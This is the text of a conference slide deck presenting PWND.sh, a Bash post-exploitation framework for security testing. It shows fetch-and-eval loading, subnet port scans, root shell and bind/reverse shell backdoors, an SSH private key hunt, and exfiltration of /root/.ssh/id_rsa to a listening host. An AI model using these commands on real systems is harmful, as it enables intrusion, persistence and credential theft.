Just Got PWND.sh

Itzik Kotler

CTO & Co-Founder of SafeBreach

I'm Standing on The Shoulders of a Giant

“Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight. The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally! After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user privilege you have worked so hard to achieve....?”

*-- **Mike Schiffman** (aka. **Daemon9**)*
http://web.textfiles.com/hacking/backdoor.txt

$ whoami

- 15+ years in InfoSec
- CTO & Co-Founder of SafeBreach
- Presented in RSA, HITB, BlackHat, DEF CON, CCC, …
- http://www.ikotler.org/

Welcome to the `Post Exploitation` Phase

3 possible plays (not mutually exclusive):

1. Further Penetrate Into the Network/Endpoints
2. Get a firmer foothold on the Network/Endpoint
3. Start Exfiltrating Data Out of the Network/Endpoint

Meet PWND.sh

- Version: 1.0 (Initial Release)
- Programming Language: Bash
- Interactive: Yes (and can be *Scripted*!)
- License: 3-Clause BSD
- Deployment: In-Memory (with On-Disk as Fallback!)
- Perk: Plays well with other tools / programs via Pipeline

Grab Your Copy Today!

```
$ git clone https://github.com/SafeBreach-Labs/pwndsh.git
$ cd pwndsh
```

Let's talk Architecture

Directory Structure & Important Files

```
.
├── bin
|   ├── compile_pwnd_sh.sh ← Compiles `pwnd.sh’
|   └── pwnd.sh ← Operational Shell Script
└── pwnd
    └── <PWND Modules (i.e. Shell Scripts) ...>
```

Why Bash and not Python, Perl, Ruby etc. ?

- Same Bash, different Platform (Linux, Mac OS X, Solaris etc.)
- Same Bash, different CPU (i386, x86_64 etc.)
- Bash is the default shell on *most* Systems
- You can do Socket Programming in Bash (*--enable-net-redirections*)

- You can’t ”fallback” to Bash Script from Python/Ruby/Perl Script, but you can ”upgrade” to Python/Ruby/Perl from a Shell Script.

Fallback & Upgrade Example:

```
PYTHON_BIN=/usr/bin/python
if [ -x $PYTHON_BIN ]; then
  $PYTHON_BIN -c "print 'Hello, world'"
else
  echo 'Hello, world'
fi
```

VS

```
$ ./foobar.py
env: python: No such file or directory
```

Dependencies, or not to be Depended?

- Why **No**:
  - Consistent functionality across different Platforms, CPUs etc.
  - Smaller and simpler code base
- Why **Yes**:
  - Don't reinvent the wheel
  - Isn’t Everything a Dependency in Shell Terms? (i.e. ls, cat, echo etc.)
- Bottom line: Your choice! I went with the “least amount of dependencies” philosophy for the plug-ins that I’ve developed …

Why In-memory?

- Works even if the Filesystem is mounted to be Read-only
- Multiple Versions can co-exists (in Multiple Shells)
- Disappears after Reboot

- PWND.sh is designed to be agnostic to the way it’s being loaded/deployed. Loading from file (to ease development and debugging) is also possible!

In-Memory Loading Method #1

```
# Create Variable X
# Set X to `pwnd.sh’ content (fetched via curl)

$ X=`curl -fsSL "https://raw.githubusercontent.com/SafeBreach-Labs/pwndsh/master/bin/pwnd.sh"`

# Use Bash’s eval built-in command to evaluate X (i.e. `pwnd.sh’ code)

$ eval "$X"
```

In-Memory Loading Method #2

```
# On Source Computer:

$ curl -fsSL "https://raw.githubusercontent.com/SafeBreach-Labs/pwndsh/master/bin/pwnd.sh"
<SELECT OUTPUT & COPY TO CLIPBOARD>

# On Destination Computer:

$ X="<PASTE FROM CLIPBOARD>"
$ eval "$X"
```

On-Disk Loading Method (Fallback!)

```
# Download `pwnd.sh’ and save it as `pwnd.sh’ on disk

$ curl -OfsSL "https://raw.githubusercontent.com/SafeBreach-Labs/pwndsh/master/bin/pwnd.sh"

# Use Bash’s source built-in command to load `pwnd.sh’

$ source pwnd.sh
```

PWND.sh is Loaded!
Let The Games Begin!

```
[Pwnd v1.0.0, Itzik Kotler (@itzikkotler)]"
Type `help' to display all the pwnd commands.
Type `help name' to find out more about the pwnd command `name'.

(pwnd)$
```

Demo of PWND.sh: Scanning a Host

```
(pwnd)$ portscanner 192.168.2.132 22/tcp
```

Demo of PWND.sh: Scanning the C Class

```
(pwnd)$ for ip in $(seq 1 254); do portscanner
127.0.0.$ip 123/udp; done
```

Scanning the C Class – The Revenge of the Script

```
(pwnd)$ cat scan_c_class.sh

if [ -z "${1-}" ]; then
  echo "usage: ${BASH_SOURCE[0]} xxx.xxx.xxx"
  return 0
fi

for ip in $(seq 1 254); do
  echo $1.$ip
  portscanner $1.$ip 123/udp
done

(pwnd)$ source scan_c_class.sh 127.0.0
```

Demo of PWND.sh:
Local Backdoor Example

```
(pwnd)$ install_rootshell
# Remember to invoke the rootshell with ‘-p’
```

Demo of PWND.sh: Remote Backdoor Example

```
(pwnd)$ bindshell 1234
# Connect to host at 1234/tcp for rootshell
```

Demo of PWND.sh: Remote Backdoor Example #2

```
# On 192.168.2.1 run: nc –l 1234
(pwnd)$ reverseshell 192.168.2.1 1234
```

Demo of PWND.sh: Searching for Goodies

```
(pwnd)$ hunt_privkeys
Scanning /root ...
/root/.ssh/id_rsa
Scanning /home ...
Done!
```

Demo of PWND.sh: Exfil Example

```
# On 192.168.2.1 run: nc -l 8081
(pwnd)$ cat /root/.ssh/id_rsa | base64 |
over_socket 192.168.2.1 8081
```

Developing Plug-in for PWND.sh

WORKFLOW:

- Go to `pwndsh/pwnd’ Directory (i.e. `cd pwnd`)
- Go to the appropriated sub directory (i.e. `cd c2`)
- Create the plug-in file (e.g. `foobar.bash`)
- Go to `pwndsh/bin` Directory (i.e. `cd ../../bin/`)
- Remove **`pwnd.sh`** if exists (i.e. `rm –rf pwnd.sh`)
- Run **`compile_pwnd_sh.sh`** (i.e. `./compile_pwnd_sh.sh`)
- Enjoy your new `pwnd.sh’ (that includes your plug-in in it!)

Example Plug-in Code (i.e. foobar.bash):

```
$ cat foobar.bash

foobar() {
 echo "Hello, world”
}

pwnd_register_cmd foobar “This is a dummy plug-in“
```

Plug-in file ends with .bash extension

Plug-in’s entry function

1st arg is the plug-in’s entry function (i.e. foobar function)

2nd arg is a STRING that will be used as a help description (i.e. help foobar)

Recap: The 3 Rules of Plug-in Development

- You MUST always use the file extension: **.bash* **AND NOT** **.sh*
- You MUST always call the function: *pwnd_register_cmd* in the bottom of the plug-in code
- You MUST always wrap your code in a function, as *pwnd_register_cmd* accept two arguments:
    - FUNCTION NAME (that will be the entry point to your plug-in)
    - STRING (that will be used as help string when someone calls help on it)

Where To Go From Here / Future Ideas

- Add Support for Windows 10? (I heard they added Bash Support ;-))
- Make PWND.sh cross-shell (i.e. zsh, ksh, fish etc.)?
- Moar plug-ins!!!

Q&A

Email: itzik@safebreach.com

Twitter: @itzikkotler

GitHub: https://github.com/SafeBreach-Labs/